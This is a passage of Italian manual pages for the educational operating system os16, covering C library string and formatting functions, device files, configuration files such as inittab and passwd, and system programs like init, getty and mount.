La funzione deve tenere memoria di un puntatore in modo persistente e deve isolare le unità modificando la stringa originale, inserendo il carattere nullo di terminazione alla fine delle unità individuate.

Quando la funzione viene chiamata indicando al posto della stringa da scandire il puntatore nullo, l'insieme dei delimitatori può essere diverso da quello usato nelle fasi precedenti.

Per comprendere lo scopo della funzione viene utilizzato lo stesso esempio che appare nel documento *ISO/IEC 9899:TC2*, al paragrafo 7.21.5.7, con qualche piccola modifica per poterlo rendere un programma autonomo:

```
#include <stdio.h>
#include <string.h>
int
main (void)
{
    char str[] = "?a???b,,,#c";
    char *t;

    t = strtok (str, "?");              // t punta all'unità "a"
    printf ("strtok: \"%s\"\n", t);
    t = strtok (NULL, ",");             // t punta all'unità "??b"
    printf ("strtok: \"%s\"\n", t);
    t = strtok (NULL, "#,");            // t punta all'unità "c"
    printf ("strtok: \"%s\"\n", t);
    t = strtok (NULL, "?");             // t è un puntatore nullo
    printf ("strtok: \"%s\"\n", t);

    return 0;
}
```

Avviando il programma si ottiene quanto già descritto dai commenti inseriti nel codice:

```
strtok: "a"
strtok: "??b"
strtok: "c"
strtok: "(null)"
```

Ciò che avviene nell'esempio può essere schematizzato come segue. Inizialmente la stringa '**str**' ha in memoria l'aspetto seguente:

str[]

?	a	?	?	?	b	,	,	,	#	c	\0

Dopo la prima chiamata della funzione ***strtok()*** la stringa risulta alterata e il puntatore ottenuto raggiunge la lettera '**a**':

t = strtok (str, "?");

?	a	\0	?	?	b	,	,	,	#	c	\0

Dopo la seconda chiamata della funzione, in cui si usa il puntatore nullo per richiedere una scansione ulteriore della stringa originale, si ottiene un nuovo puntatore che, questa volta, inizia a partire dal quarto carattere, rispetto alla stringa originale, dal momento che il terzo è già stato sovrascritto da un carattere nullo:

t = strtok (NULL, ",");

?	a	\0	?	?	b	\0	,	,	#	c	\0

La penultima chiamata della funzione ***strtok()*** raggiunge la lettera '**c**' che è anche alla fine della stringa originale:

t = strtok (NULL, "#,");

?	a	\0	?	?	b	\0	,	,	#	c	\0

L'ultimo tentativo di chiamata della funzione non può dare alcun esito, perché la stringa originale si è già conclusa.

VALORE RESTITUITO

La funzione restituisce il puntatore al prossimo «pezzo«, oppure '**NULL**' se non ce ne sono più.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/strtok.c`' [106.11.23]

VEDERE ANCHE

memchr(3) [99.68], *strchr(3)* [99.105], *strpbrk(3)* [99.116], *strspn(3)* [99.118].

99.121 os16: strtol(3)

NOME

'**strtol**', '**strtoul**' - conversione di una stringa in un numero

SINTASSI

```
#include <stdlib.h>
long int strtol (const char *restrict string, char **restrict endptr,
                 int base);

unsigned long int strtoul (const char *restrict string,
                           char **restrict endptr, int base);
```

DESCRIZIONE

Le funzioni ***strtol()*** e ***strtoul()***, convertono la stringa ***string*** in un numero, intendendo la sequenza di caratteri nella base di numerazione indicata come ultimo argomento (***base***). Tuttavia, la base di numerazione potrebbe essere omessa (valore zero) e in tal caso la stringa deve essere interpretata ugualmente in qualche modo: se (dopo un segno eventuale) inizia con zero seguito da un'altra cifra numerica, deve trattarsi di una sequenza ottale; se inizia con zero, quindi appare una lettera «x» deve trattarsi di un numero esadecimale; se inizia con una cifra numerica diversa da zero, deve trattarsi di un numero in base dieci.

La traduzione della stringa ha luogo progressivamente, arrestandosi quando si incontra un carattere incompatibile con la base di numerazione selezionata o stabilita automaticamente. Il valore convertito viene restituito; inoltre, se il puntatore ***endptr*** è valido (diverso da '**NULL**'), si assegna a ****endptr*** la posizione raggiunta nella stringa, corrispondente al primo carattere che non può essere convertito. Pertanto, nello stesso modo, se la stringa non può essere convertita affatto e si può assegnare qualcosa a ****endptr***, alla fine, ****endptr*** corrisponde esattamente a ***string***.

VALORE RESTITUITO

Le funzioni restituiscono il valore tratto dall'interpretazione della stringa, ammesso che sia rappresentabile, altrimenti si ottiene '**LONG_MIN**' o '**LONG_MAX**', a seconda dei casi, sapendo che occorre consultare la variabile ***errno*** per maggiori dettagli.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Argomento non valido.
`ERANGE`	Il valore risultante è al di fuori dell'intervallo ammissibile per la rappresentazione.

DIFETTI

La realizzazione di ***strtoul()*** è incompleta, in quanto si limita a utilizzare ***strtol()***, convertendo il risultato in un valore senza segno.

FILE SORGENTI

'`lib/stdlib.h`' [106.10]

'`lib/stdlib/strtol.c`' [106.10.18]

'`lib/stdlib/strtoul.c`' [106.10.19]

99.122 os16: strtoul(3)

Vedere *strtol(3)* [99.121].

99.123 os16: strxfrm(3)

NOME

'**`strxfrm`**' - *string transform*, ovvero trasformazione di una stringa

SINTASSI

```
#include <string.h>
size_t strxfrm (char *restrict dst, const char *restrict org,
                size_t n);
```

DESCRIZIONE

Lo scopo della funzione ***strxfrm()*** sarebbe quello di copiare la stringa ***org***, sovrascrivendo ***dst***, fino a un massimo di ***n*** caratteri nella destinazione, ma applicando una trasformazione relativa alla configurazione locale.

os16 non gestisce la configurazione locale, pertanto questa funzione si comporta in modo simile a ***strncpy()***, con una differenza in ciò che viene restituito.

VALORE RESTITUITO

La funzione restituisce la quantità di byte utilizzati per contenere la trasformazione in ***dst***, senza però contare il carattere nullo di terminazione.

FILE SORGENTI

'`lib/string.h`' [106.11]

'`lib/string/strxfrm.c`' [106.11.24]

VEDERE ANCHE

memcmp(3) [99.69], *strcmp(3)* [99.106], *strcoll(3)* [99.106].

99.124 os16: ttyname(3)

NOME

‘**ttyname**’ - determinazione del percorso del file di dispositivo di un terminale aperto

SINTASSI

```
#include <unistd.h>
char *ttyname (int fdn);
```

DESCRIZIONE

La funzione ***ttyname()*** richiede come unico argomento il numero che identifica il descrittore di un file. Ammesso che tale descrittore si riferisca a un terminale, la funzione restituisce il puntatore a una stringa che rappresenta il percorso del file di dispositivo corrispondente.

La stringa in questione viene modificata se si usa la funzione in altre occasioni.

VALORE RESTITUITO

La funzione restituisce il puntatore a una stringa che descrive il percorso del file di dispositivo, presunto, del terminale aperto con il numero ***fdn***. Se non si tratta di un terminale, si ottiene un errore. In ogni caso, se la funzione non può restituire un'informazione corretta, produce semplicemente il puntatore nullo e aggiorna la variabile ***errno***.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il descrittore di file indicato non è valido.
`ENOTTY`	Il descrittore di file indicato non riguarda un terminale.

FILE SORGENTI

‘`lib/unistd.h`’ [106.17]

‘`lib/unistd/ttyname.c`’ [106.17.34]

VEDERE ANCHE

stat(2) [98.36], *isatty(3)* [99.61].

99.125 os16: unsetenv(3)

Vedere *setenv(3)* [99.94].

99.126 os16: vfprintf(3)

Vedere *vprintf(3)* [99.128].

99.127 os16: vfscanf(3)

Vedere *vfscanf(3)* [99.129].

99.128 os16: vprintf(3)

NOME

'**vprintf**', '**vfprintf**', '**vsprintf**', '**vsnprintf**' - composizione dei dati per la visualizzazione

SINTASSI

```
#include <stdarg.h>
#include <stdio.h>
int vprintf   (char *restrict format, va_list arg);
int vfprintf  (FILE *fp, char *restrict format, va_list arg);
int vsnprintf (char *restrict string, size_t size,
               const char *restrict format, va_list ap);
int vsprintf  (char *string, char *restrict format, va_list arg);
```

DESCRIZIONE

Le funzioni del gruppo '**v...printf()**' hanno in comune lo scopo di comporre dei dati in forma di stringa, generalmente per la visualizzazione, o comunque per la fruizione a livello umano.

I dati in ingresso possono essere vari e vengono comunicati attraverso un puntatore di tipo '**va_list**'. Per quantificare e qualificare questi dati in ingresso, la stringa a cui punta il parametro ***format***, deve contenere degli ***specificatori di conversione***, oltre eventualmente ad altri caratteri. Pertanto, queste funzioni, prendono la stringa a cui punta ***format***, la interpretano e determinano come scandire gli argomenti a cui fa riferimento il puntatore ***arg***, quindi producono un'altra stringa, composta dalla stringa precedente, sostituendo gli specificatori di conversione con i dati a cui questi si riferiscono, secondo una forma di conversione definita dagli specificatori stessi.

In generale, le funzioni '**v...printf()**' servono per realizzare le altre funzioni '**...printf()**', le quali invece ricevono gli argomenti variabili direttamente. Per esempio, la funzione ***printf()*** può essere realizzata utilizzando in pratica ***vprintf()***:

```
#include <stdio.h>
#include <stdarg.h>
int
printf (char *restrict format, ...)
{
    va_list ap;
    va_start (ap, format);
    return (vprintf (format, ap));
}
```

Si veda *printf(3)* [99.78], per la descrizione di come va predisposta la stringa ***format***. Nella realizzazione di os16, di tutte queste funzioni, quella che compie effettivamente il lavoro di interpretazione della stringa di formato e che in qualche modo viene chiamata da tutte le altre, è soltanto ***vsnprintf()***.

VALORE RESTITUITO

Le funzioni restituiscono la quantità di caratteri utilizzati nella composizione della nuova stringa, escluso il carattere nullo di terminazione.

FILE SORGENTI

'`lib/stdarg.h`' [106.1.12]

'`lib/stdio.h`' [106.9]

'`lib/stdio/FILE.c`' [106.9.1]

'`lib/stdio/vfprintf.c`' [106.9.36]

'`lib/stdio/vprintf.c`' [106.9.39]

'`lib/stdio/vsprintf.c`' [106.9.42]

'`lib/stdio/vsnprintf.c`' [106.9.41]

VEDERE ANCHE

fprintf(3) [99.78], *printf(3)* [99.78], *sprintf(3)* [99.78], *snprintf(3)* [99.78], *scanf(3)* [99.90].

99.129 os16: vscanf(3)

NOME

'**`vscanf`**', '**`vfscanf`**', '**`vsscanf`**' - interpretazione dell'input e conversione

SINTASSI

```
#include <stdarg.h>
#include <stdio.h>
int vscanf  (const char *restrict format, va_list ap);
int vfscanf (FILE *restrict fp, const char *restrict format,
             va_list ap);
int vsscanf (const char *string, const char *restrict format,
             va_list ap);
```

DESCRIZIONE

Le funzioni del gruppo '`v...scanf()`' hanno in comune lo scopo di interpretare dei dati, forniti in forma di stringa, convertendoli opportunamente.

I dati in ingresso sono costituiti da una sequenza di caratteri, la quale viene fornita tramite lo standard input per ***vscanf()***, tramite il flusso di file ***fp*** per ***vfscanf()***, oppure tramite la stringa ***string*** per ***vsscanf()***. L'interpretazione dei dati in ingresso viene guidata da una stringa di formato, costituita dal parametro ***format***, per le tre funzioni. La stringa di formato contiene degli ***specificatori di conversione***, con cui si determina il tipo degli argomenti variabili a cui punta inizialmente ***ap***.

Queste funzioni servono per realizzare in pratica quelle corrispondenti che hanno nomi privi della lettera «v» iniziale. Per esempio, per ottenere ***scanf()*** si può utilizzare ***vscanf()***:

```
#include <stdio.h>
#include <stdarg.h>
int
scanf (const char *restrict format, ...)
{
    va_list ap;
    va_start (ap, format);
    return vscanf (format, ap);
}
```

Il modo in cui va predisposta la stringa di formato (***format***) è descritto in *scanf(3)* [99.90]. La funzione più importante di questo gruppo, in quanto svolge effettivamente il lavoro di interpretazione e viene chiamata, più o meno indirettamente, da tutte le altre, è ***vfsscanf()***, la quale però non è standard.

VALORE RESTITUITO

Le funzioni restituiscono la quantità di elementi in ingresso interpretati e assegnati correttamente: una quantità inferiore al previsto indica pertanto un errore. Se le funzioni restituiscono il valore '`EOF`', si tratta di un errore, dovuto eventualmente a un problema di interpretazione del formato o a un problema di accesso al flusso di file da cui deve provenire l'input.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti forniti alla chiamata non sono validi per qualche ragione.
`EPERM`	Operazione di accesso non consentita.
`EACCES`	Accesso non consentito.
`EBADF`	Il descrittore del file a cui si riferisce il flusso, non è valido.
`ERANGE`	Il risultato della conversione di un intero, non può essere memorizzato nel tipo di variabile a cui si riferisce lo specificatore di conversione.

FILE SORGENTI

'`lib/stdio.h`' [106.9]

‘`lib/stdio/vfscanf.c`’ [106.9.37]

‘`lib/stdio/vscanf.c`’ [106.9.40]

‘`lib/stdio/vsscanf.c`’ [106.9.43]

‘`lib/stdio/vfsscanf.c`’ [106.9.38]

VEDERE ANCHE

fscanf(3) [99.90], *scanf(3)* [99.90], *sscanf(3)* [99.90], *printf(3)* [99.78].

99.130 os16: vsnprintf(3)

Vedere *vprintf(3)* [99.128].

99.131 os16: vsprintf(3)

Vedere *vprintf(3)* [99.128].

99.132 os16: vsscanf(3)

Vedere *vsscanf(3)* [99.129].

Sezione 4: file speciali

100.1 os16: console(4)

NOME

'/dev/console' - file di dispositivo che rappresenta la console e le console virtuali

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/console'	file di dispositivo a caratteri	5	255	0644_8
'/dev/console0'	file di dispositivo a caratteri	5	0	0644_8
'/dev/console1'	file di dispositivo a caratteri	5	1	0644_8
'/dev/console2'	file di dispositivo a caratteri	5	2	0644_8
'/dev/console3'	file di dispositivo a caratteri	5	3	0644_8

DESCRIZIONE

Il file di dispositivo '/dev/console' rappresenta la console virtuale attiva in un certo momento; i file '/etc/console***n***' rappresentano la console virtuale ***n***, dove ***n*** va da zero a quattro.

I permessi di accesso a questi file di dispositivo sono limitati in modo da consentire solo al proprietario di accedere in scrittura. Tuttavia, per i file di dispositivo usati effettivamente come terminali di controllo, i permessi e la proprietà sono gestiti automaticamente dai programmi '**getty**' e '**login**'.

VEDERE ANCHE

MAKEDEV(8) [103.3], *tty(4)* [100.11].

100.2 os16: dsk(4)

NOME

'/dev/dsk***n***' - file di dispositivo per le unità di memorizzazione a disco

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/dsk0'	file di dispositivo a blocchi	3	0	0644_8
'/dev/dsk1'	file di dispositivo a blocchi	3	1	0644_8
'/dev/dsk2'	file di dispositivo a blocchi	3	2	0644_8
'/dev/dsk3'	file di dispositivo a blocchi	3	3	0644_8

DESCRIZIONE

I file di dispositivo '/dev/dsk**n**' rappresentano, ognuno, un'unità di memorizzazione a disco. La prima unità è '/dev/dsk0', quelle successive procedono con la numerazione.

os16 gestisce solo unità a dischetti da 1440 Kibyte; inoltre, non è ammissibile la suddivisione in partizioni e, in pratica, sono gestibili solo due unità. Pertanto, sono utili solo '/dev/dsk0' e '/dev/dsk1'.

VEDERE ANCHE

MAKEDEV(8) [103.3].

100.3 os16: kmem_file(4)

NOME

'/dev/kmem_file' - accesso alla memoria del kernel contenente la tabella dei file

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/kmem_file'	file di dispositivo a caratteri	4	5	0444_8

DESCRIZIONE

Il file di dispositivo '/dev/kmem_file' consente di accedere in lettura all'area di memoria che, nel kernel, rappresenta la tabella dei file. La tabella dei file è un array di '**FILE_MAX_SLOTS**' elementi, di tipo '**file_t**', secondo le definizioni contenute nel file 'kernel/fs.h'.

VEDERE ANCHE

MAKEDEV(8) [103.3], *kmem_ps(4)* [100.6], *kmem_mmp(4)* [100.5], *kmem_sb(4)* [100.7], *kmem_inode(4)* [100.4].

100.4 os16: kmem_inode(4)

NOME

'/dev/kmem_inode' - accesso alla memoria del kernel contenente la tabella degli inode

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/kmem_inode'	file di dispositivo a caratteri	4	4	0444_8

DESCRIZIONE

Il file di dispositivo '/dev/kmem_inode' consente di accedere in lettura all'area di memoria che, nel kernel, rappresenta la tabella degli inode. La tabella degli inode è un array di '**INODE_MAX_SLOTS**' elementi, di tipo '**inode_t**', secondo le definizioni contenute nel file 'kernel/fs.h'.

VEDERE ANCHE

MAKEDEV(8) [103.3], *kmem_ps(4)* [100.6], *kmem_mmp(4)* [100.5], *kmem_sb(4)* [100.7], *kmem_file(4)* [100.3].

100.5 os16: kmem_mmp(4)

NOME

'`/dev/kmem_mmp`' - accesso alla memoria del kernel contenente la mappa di utilizzo della memoria

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'`/dev/kmem_mmp`'	file di dispositivo a caratteri	4	2	0444_8

DESCRIZIONE

Il file di dispositivo '`/dev/kmem_mmp`' consente di accedere in lettura all'area di memoria che, nel kernel, rappresenta la mappa di utilizzo della memoria.

VEDERE ANCHE

MAKEDEV(8) [103.3], *kmem_ps(4)* [100.6], *kmem_sb(4)* [100.7], *kmem_inode(4)* [100.4], *kmem_file(4)* [100.3].

100.6 os16: kmem_ps(4)

NOME

'`/dev/kmem_ps`' - accesso alla memoria del kernel contenente lo stato dei processi

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'`/dev/kmem_ps`'	file di dispositivo a caratteri	4	1	0444_8

DESCRIZIONE

Il file di dispositivo '`/dev/kmem_ps`' consente di accedere in lettura all'area di memoria che, nel kernel, rappresenta la tabella dei processi. La tabella dei processi è un array di '**`PROCESS_MAX`**' elementi, di tipo '**`proc_t`**', secondo le definizioni contenute nel file '`kernel/proc.h`'. Questo meccanismo viene usato dal programma '**`ps`**' per leggere e visualizzare lo stato dei processi.

VEDERE ANCHE

MAKEDEV(8) [103.3], *kmem_mmp(4)* [100.5], *kmem_sb(4)* [100.7], *kmem_inode(4)* [100.4], *kmem_file(4)* [100.3].

100.7 os16: kmem_sb(4)

NOME

'/dev/kmem_sb' - accesso alla memoria del kernel contenente la tabella dei super blocchi

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/kmem_sb'	file di dispositivo a caratteri	4	3	0444_8

DESCRIZIONE

Il file di dispositivo '/dev/kmem_sb' consente di accedere in lettura all'area di memoria che, nel kernel, rappresenta la tabella dei super blocchi. La tabella dei super blocchi è un array di '**SB_MAX_SLOTS**' elementi, di tipo '**sb_t**', secondo le definizioni contenute nel file 'kernel/fs.h'.

VEDERE ANCHE

MAKEDEV(8) [103.3], *kmem_ps(4)* [100.6], *kmem_mmp(4)* [100.5], *kmem_inode(4)* [100.4], *kmem_file(4)* [100.3].

100.8 os16: mem(4)

NOME

'/dev/mem' - file di dispositivo per l'acceso alla memoria del processo

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/mem'	file di dispositivo a caratteri	1	1	0444_8

DESCRIZIONE

Il file di dispositivo '/dev/mem' consente di leggere la memoria del processo.

VEDERE ANCHE

MAKEDEV(8) [103.3].

100.9 os16: null(4)

NOME

'/dev/null' - file di dispositivo per la distruzione dei dati

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/null'	file di dispositivo a caratteri	1	2	0666_8

DESCRIZIONE

Il file di dispositivo '/dev/null' appare in lettura come un file completamente vuoto, mentre in scrittura è un file in cui si può scrivere indefinitivamente, perdendo però i dati che vi si immettono.

VEDERE ANCHE

MAKEDEV(8) [103.3], *zero(4)* [100.12].

100.10 os16: port(4)

NOME

'/dev/port' - file di dispositivo per accedere alle porte di I/O

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/port'	file di dispositivo a caratteri	1	3	0644_8

DESCRIZIONE

Il file di dispositivo '/dev/port' consente di accedere alle porte di I/O. Tali porte consentono di leggere uno o al massimo due byte, pertanto la dimensione della lettura può essere '**(size_t) 1**' oppure '**(size_t) 2**'. Per selezionare l'indirizzo della porta occorre posizionare il riferimento interno al file a un indirizzo pari a quello della porta, prima di eseguire la lettura o la scrittura.

VEDERE ANCHE

MAKEDEV(8) [103.3], *mem(4)* [100.8].

100.11 os16: tty(4)

NOME

'/dev/tty' - file di dispositivo che rappresenta il terminale di controllo del processo

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/tty'	file di dispositivo a caratteri	2	0	0666_8

DESCRIZIONE

Il file di dispositivo '/dev/tty' rappresenta il terminale di controllo del processo; in altri termini, il processo che accede al file '/dev/tty', raggiunge il proprio terminale di controllo.

VEDERE ANCHE

MAKEDEV(8) [103.3], *console(4)* [100.1].

100.12 os16: zero(4)

NOME

'/dev/zero' - file di dispositivo per la produzione del valore zero

CONFIGURAZIONE

File	Tipo	Numero primario	Numero secondario	Permessi
'/dev/zero'	file di dispositivo a caratteri	1	4	0666_8

DESCRIZIONE

Il file di dispositivo '/dev/zero' appare in lettura come un file di lunghezza indefinita, contenente esclusivamente il valore zero (lo zero binario), mentre in scrittura è un file in cui si può scrivere indefinitivamente, perdendo però i dati che vi si immettono.

VEDERE ANCHE

MAKEDEV(8) [103.3], *null(4)* [100.9].

Capitolo 101

Sezione 5: formato dei file e convenzioni

101.1 os16: inittab(5)

NOME

'`/etc/inittab`' - configurazione di '**`init`**'

DESCRIZIONE

Il file '`/etc/inittab`' contiene la configurazione di '**`init`**', per la definizione dei processi da avviare per la messa in funzione del sistema operativo. Il file può contenere dei commenti, preceduti dal carattere «#» e «voci» costituite da righe suddivise in quattro campi, separati da due punti (:), come nell'esempio seguente:

```
c0:1:respawn:/bin/getty /dev/console0
c1:1:respawn:/bin/getty /dev/console1
```

I campi hanno il significato descritto nell'elenco seguente:

1. codice che identifica univocamente la voce;
2. i livelli di esecuzione per cui la voce è valida;
3. l'azione da compiere sulla voce;
4. il programma da avviare, con tutte le opzioni e gli argomenti necessari.

Il programma '**`init`**' di os16 non distingue i livelli di esecuzione e considera soltanto l'azione '**`respawn`**', con la quale si intende che '**`init`**' debba riavviare il processo, quando questo muore, o comunque quando muore quel processo che ha preso il suo posto.

VEDERE ANCHE

init(8) [103.2], *getty(8)* [103.1], *login(1)* [97.12].

101.2 os16: issue(5)

NOME

'`/etc/issue`' - messaggio che precede '**`login`**'

DESCRIZIONE

Il file '`/etc/issue`' viene visualizzato da '**`getty`**', prima dell'avvio di '**`login`**'. Il contenuto predefinito di questo file, per os16, è il seguente:

```
os16: a basic os. [Ctrl q], [Ctrl r], [Ctrl s], [Ctrl t] to change console.
```

Il programma '**`getty`**' di os16 non è in grado di interpretare il contenuto del file, pertanto lo visualizza letteralmente; tuttavia, '**`getty`**' mostra, indipendentemente dalla presenza e dal contenuto del file '`/etc/issue`', delle informazioni sul terminale per il quale è in funzione.

VEDERE ANCHE

getty(8) [103.1].

101.3 os16: passwd(5)

NOME

'/etc/passwd' - elenco delle utenze

DESCRIZIONE

Il file '/etc/passwd' contiene l'elenco degli utenti del sistema, uno per ogni riga. Le righe sono divise in sette campi, delimitati con il carattere due punti (:), come nell'esempio seguente, che rappresenta l'impostazione predefinita di os16:

```
root:ciao:0:0:root:/root:/bin/shell
user:ciao:1001:1001:test user:/home/user:/bin/shell
```

I campi hanno il significato descritto nell'elenco seguente:

1. nominativo utente;
2. parola d'ordine, in chiaro, per l'identificazione con il programma '**login**';
3. numero UID, ovvero il numero dell'utente;
4. numero GID, ovvero il numero del gruppo, ma non utilizzato da os16;
5. descrizione dell'utenza;
6. shell.

Trattandosi di un sistema operativo elementare, la parola d'ordine appare in chiaro nel secondo campo, senza altri accorgimenti. Inoltre, il file deve essere accessibile in lettura a tutti gli utenti.

VEDERE ANCHE

login(1) [97.12].

Sezione 7: varie

Capitolo 102

102.1 os16: environ(7)

NOME

'**environ**' - ambiente del processo elaborativo

SINTASSI

```
extern char **environ;
```

DESCRIZIONE

La variabile ***environ***, dichiarata nel file 'unistd.h', punta a un array di stringhe, ognuna delle quali rappresenta una variabile di ambiente, con il valore a lei assegnato. Pertanto, il contenuto di queste stringhe ha una forma del tipo '***nome*=*valore***'. Per esempio '**HOME=/home/user**'.

In generale, l'accesso diretto ai contenuti di questo array non è conveniente, in quanto sono disponibili delle funzioni che facilitano la gestione di questi dati in forma di variabili di ambiente.

Dal momento che le funzioni di accesso alle informazioni sulle variabili di ambiente sono definite nel file 'stdlib.h', la gestione effettiva dell'array di stringhe a cui punta ***environ*** è inserita nei file contenuti nella directory 'lib/stdlib/' di os16. Per la precisione, nel file 'lib/stdlib/environment.c' si dichiara l'array di caratteri ***_environment_table[][]*** e array di puntatori a caratteri ***_environment[]***:

```
char  _environment_table[ARG_MAX/32][ARG_MAX/16];
char *_environment[ARG_MAX/32+1];
```

L'array ***_environment_table[][]*** viene inizializzato con lo stato delle variabili di ambiente ereditate con l'avvio del processo; inoltre, all'array ***_environment[]*** vengono assegnati i puntatori alle varie stringhe che si possono estrapolare da ***_environment_table[]***. Questo lavoro iniziale avviene per opera della funzione ***_environment_setup()***, la quale viene avviata a sua volta dal file 'crt0.s'. Successivamente, nello stesso file 'crt0.s', viene copiato l'indirizzo dell'***_environment[]*** nella variabile ***environ***, di cui sopra.

FILE SORGENTI

'lib/unistd.h' [106.17]

'lib/stdlib.h' [106.10]

'lib/unistd/environ.c' [106.17.8]

'applic/crt0.s' [107.1.9]

'lib/stdlib/environment.c' [106.10.9]

'lib/stdlib/getenv.c' [106.10.11]

'lib/stdlib/putenv.c' [106.10.14]

'lib/stdlib/setenv.c' [106.10.17]

'lib/stdlib/unsetenv.c' [106.10.20]

VEDERE ANCHE

getenv(3) [99.51], *putenv(3)* [99.82], *setenv(3)* [99.94], *unsetenv(3)* [99.94].

102.2 os16: undocumented(7)

Questa sezione ha il solo scopo di raccogliere i riferimenti ipertestuali dei listati che, per qualche ragione, sono privi di una documentazione specifica.

Capitolo 103 Sezione 8: comandi per l'amministrazione del sistema

103.1 os16: getty(8)

NOME

'**getty**' - predisposizione di un terminale e avvio di '**login**'

SINTASSI

```
getty terminale
```

DESCRIZIONE

Il programma '**getty**' viene avviato da '**init**' per predisporre il terminale, ripristinando anche i permessi predefiniti, e per avviare successivamente il programma '**login**'. Prima di avviare '**login**', '**getty**' visualizza il contenuto del file '`/etc/issue`', se disponibile, inoltre mostra almeno l'indicazione del terminale attuale. Va osservato che questa realizzazione di '**getty**' lascia a '**login**' il compito di chiedere l'inserimento del nominativo utente.

FILE

'`/etc/issue`'

'**getty**' visualizza il contenuto di questo file prima di avviare '**login**'.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/getty.c`' [107.1.12]

VEDERE ANCHE

login(1) [97.12], *issue(5)* [101.2].

103.2 os16: init(8)

NOME

'**init**' - progenitore di tutti gli altri processi

SINTASSI

```
init
```

DESCRIZIONE

Il programma '**init**' viene avviato dal kernel (deve trattarsi precisamente del file '/bin/init') come primo e unico processo figlio del kernel stesso. Pertanto, '**init**' deve assumere il numero PID uno.

Questa realizzazione di '**init**' si limita a leggere il file '/etc/inittab' per determinare quali programmi figli avviare, senza poter distinguere da diversi livelli di esecuzione. In pratica, all'interno di questo file si indica l'uso di '**getty**', per la gestione dei terminali disponibili.

FILE

'/etc/inittab'

Contiene l'indicazione dei processi che '**init**' deve avviare.

DIFETTI

Con os16 non è possibile associare ai segnali un'azione diversa da quella predefinita; quindi '**init**' non può essere informato dell'intenzione di arrestare il sistema. Pertanto, tale funzionalità non è stata realizzata nella versione di '**init**' di os16.

FILE SORGENTI

'applic/crt0.s' [107.1.9]

'applic/init.c' [107.1.13]

VEDERE ANCHE

inittab(5) [101.1].

103.3 os16: MAKEDEV(8)

NOME

'**MAKEDEV**' - creazione dei file di dispositivo

SINTASSI

```
MAKEDEV
```

DESCRIZIONE

'**MAKEDEV**' è un programma che crea, nella directory corrente, tutti i file di dispositivo previsti per os16. Tali file devono trovarsi normalmente nella directory '/dev/', pertanto, prima di usare '**MAKEDEV**' è necessario che la directory corrente corrisponda precisamente a tale posizione.

OPZIONI

Non sono previste opzioni per l'uso di '**MAKEDEV**', dal momento che vengono creati tutti i file di dispositivo, considerato il loro numero estremamente limitato.

NOTE

Tradizionalmente '**MAKEDEV**' viene realizzato in forma di script, ma os16 non dispone di una shell adeguata e non è possibile utilizzare script.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`lib/sys/os16.h`' [106.12]

'`applic/MAKEDEV.c`' [107.1.1]

103.4 os16: mount(8)

NOME

'**`mount`**', '**`umount`**' - innesto e distacco di un file system

SINTASSI

```
mount dispositivo dir_innesto [opzioni]
```

```
umount directory
```

DESCRIZIONE

'**`mount`**' innesta il file system contenuto nell'unità di memorizzazione rappresentata dal file di dispositivo che va indicato come primo argomento, nella directory che appare come secondo argomento. Eventualmente si possono specificare delle opzioni di innesto, come terzo argomento.

'**`umount`**' stacca il file system innestato precedentemente nella directory indicata come unico argomento del comando.

OPZIONI DI INNESTO

Opzione	Descrizione
`ro`	Innesta il file system in sola lettura.
`rw`	Innesta il file system in lettura e scrittura. Si tratta comunque del comportamento predefinito, in mancanza di un'opzione contraria.

DIFETTI

Non viene preso in considerazione un eventuale file '`/etc/fstab`'; inoltre, l'utente non può conoscere lo stato degli innesti già in essere e, a questo proposito, l'uso di '**`mount`**' senza argomenti produce semplicemente un errore.

FILE SORGENTI

'`applic/crt0.s`' [107.1.9]

'`applic/mount.c`' [107.1.21]

'`applic/umount.c`' [107.1.27]

103.5 os16: umount(8)

Vedere *mount(8)* [103.4].

Sezione 9: kernel

Capitolo 104

104.1 os16: devices(9)

Il file '`kernel/devices.h`' [105.2] descrive ciò che serve per la gestione dei dispositivi. Tuttavia, la definizione dei numeri di dispositivo è contenuta nel file '`lib/sys/os16.h`' [106.12], il quale viene incluso da '`devices.h`'.

Tabella 95.41. Classificazione dei dispositivi di os16.

Dispositivo	Lettura e scrittura r/w	Accesso diretto o sequenziale	Annotazioni
`DEV_MEM`	r/w	diretto	Permette l'accesso alla memoria, in modo indiscriminato, perché os16 non offre alcun tipo di protezione al riguardo.
`DEV_NULL`	r/w	nessuno	Consente la lettura e la scrittura, ma non si legge e non si scrive alcunché.
`DEV_PORT`	r/w	sequenziale	Consente di leggere e scrivere da o verso una porta di I/O, individuata attraverso l'indirizzo di accesso (l'indirizzo, o meglio lo scostamento, viene trattato come la porta a cui si vuole accedere). Tuttavia, la dimensione dell'informazione da trasferire è valida solo se si tratta di uno o di due byte: per la dimensione di un byte si usano le funzioni ***in_8()*** e ***out_8()***; per due byte si usano le funzioni ***in_16()*** e ***out_16()***. Per dimensioni differenti la lettura o la scrittura non ha effetto.
`DEV_ZERO`	r	sequenziale	Consente solo la lettura di valori a zero (zero inteso in senso binario).
`DEV_TTY`	r/w	sequenziale	Rappresenta il terminale virtuale del processo attivo.
`DEV_DSK`***n***	r/w	diretto	Rappresenta l'unità a dischi ***n***. os16 non gestisce le partizioni.
